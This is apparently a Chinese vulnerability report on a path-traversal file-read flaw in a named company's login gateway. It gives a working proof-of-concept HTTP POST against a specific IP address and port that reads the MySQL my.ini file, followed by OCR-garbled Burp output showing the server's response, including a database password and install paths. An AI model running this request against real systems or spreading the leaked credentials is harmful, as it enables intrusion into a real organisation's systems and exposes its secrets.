奥德美生物科技(中山)有限公司登陆系统文件包含漏洞
1网站首页
[image: ]
2抓包修改poc
POST /mac/gateway.php HTTP/1.1
Host: 113.104.3.66:1000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

json={"url":"/general/../../mysql5/my.ini"}
[image: ]
可以查看my.ini配置文件
漏洞存在
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Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

POST /nac/gateway. php HITP/L. 1

Host: 113.104.3. 66: 1000

User-Agent: Mozilla/5.0 (Findows NT 10.0; rv:78.0) Gecko/20100101
Firefos/78.0

Content-Length: 45

Content-Type: application/s-w—forn-urlencoded

Accept-Encoding: ezip

[json={"url”: "/general/.. /.. /uysal5/ny. ini’} ]
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Done

v

0 matches

HITP/1.1 200 0K

Server: nginx

Date: Fri. 06 May 2022 03:02:28 GHI
Content-Type: test/htnl; charset=gbk
Comnection: keep-alive

Vary: Accept-Encoding
Content-Length: 18045

64
[mysqll

port = 3336
default-character-set=ghk
password=568"k0S#TryUFWky0X! P1tpL

[mysq1d]

# gemeric configuration options
port = 3336

basedir=D: /MY0A/mysql5/

datadir=D: /NY0A/data5/
tmpdir=D: /MYOA/ tup/
character-set-server=ghk

wait_timeout=30
interactive_timeout=30
skip-name-resolve

#bind-address=0. 0. 0.0

innodb_data_home_dix=D: /MYOA/dat a5/
innodb loe eroun home dir=D:/NYOA/data5/

v
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